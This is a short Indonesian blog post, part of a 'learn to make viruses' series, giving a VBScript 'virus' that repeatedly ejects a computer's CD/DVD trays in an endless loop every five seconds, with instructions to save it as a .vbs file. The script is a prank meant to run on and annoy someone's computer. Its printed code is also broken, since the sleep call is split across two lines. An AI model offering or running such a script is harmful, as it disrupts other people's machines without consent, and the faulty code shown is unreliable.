Rabu, 23 Januari 2013

Membuat Virus Pembuka CD/DVD


Cara Membuat Virus Pembuka CD/DVD

Masih semangat kan belajar bikin virusnya? kali ini kita akan belajar cara membuat virus yang dapat membuka CD/DVD komputer secara otomatis (kayak ada penunggunya, hihi)

1. Tentu aja buka notepadnya dulu
2. copy script berikut
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
w
script.sleep 5000
loop

3. Supaya lebih afdol save dengan format all files dan eksistensi .vbs

Tidak ada komentar:

Posting Komentar